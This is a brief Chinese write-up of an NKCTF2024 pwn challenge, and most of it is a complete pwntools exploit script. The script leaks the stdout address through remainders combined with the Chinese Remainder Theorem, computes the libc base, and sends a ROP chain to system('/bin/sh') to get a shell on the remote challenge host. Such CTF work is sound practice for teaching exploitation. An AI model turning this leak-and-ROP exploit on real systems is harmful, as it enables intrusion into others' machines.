- 打NKCTF2024遇到的一个题,还比较有意思,pwn中结合了密码相关的知识
- 后面的内容很简单,就是写入p64()*4,因此刚好可以getshell,因此泄露libcbase很重要

- 这里很有意思是用stdout % n,有6次机会,因此想到要用crt,具体做法如下
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"
# 请教队内的密码学手子获取到sympy库里有直接的CRT方法
from sympy.ntheory.modular import crt
# p = process('./leak')
p = remote("node.nkctf.yuzhian.com.cn", 39485)
def debug():
gdb.attach(p)
pause()
# 101 | 103 | 107 | 109 | 113 | 127
# 6个互质的数
a1 = [122, 119, 121, 123, 125, 127]
# a2 = b''
payload1 = [(p8(a1[i])) for i in range(6)]
payload1 = b''.join(payload1)[::-1]
# p.recvuntil("secret\n")
p.sendafter("secret\n", payload1)
# 余数
c_list = p.recvline()
stack_al = int(c_list[-2])
c_list = [int(c_list[i]) for i in range(6)][::-1]
# # 解中国剩余定理
res = crt(a1, c_list)[0]
# leak stdout
# print(hex(res))
info("leak: " + hex(res))
n = 1
for i in range(0, 6):
n *= a1[i]
info("n: " + hex(n))
# 确保 stdout_addr 差不多接近
stdout_addr = 0
c = 0
while True:
stdout_addr = res + c * n
if (stdout_addr >> 44) == 0x07:
if (stdout_addr & 0xfff) == 0x780:
break
c += 1
assert c < 100
info("stdout_addr: " + hex(stdout_addr))
# info("guess libc: " + str([hex(stdout_addr - i * n) for i in range(-11, 10)]))
# pause()
# guess remote is 2.35-0ubuntu3.6
libc = ELF("./libc.so.6")
libc_base = stdout_addr - libc.symbols["_IO_2_1_stdout_"]
info("libc_base: " + hex(libc_base))
libc.address = libc_base
ret = 0x0000000000029139 + libc_base
pop_rdi = 0x000000000002a3e5 + libc_base
info("stack_al: " + hex(stack_al))
payload = b''.join(
[
p64(pop_rdi),
p64(libc.search(b"/bin/sh").__next__()),
p64(ret),
p64(libc.symbols["system"]),
p8(stack_al + 0x58)
]
)
p.send(payload)
p.interactive()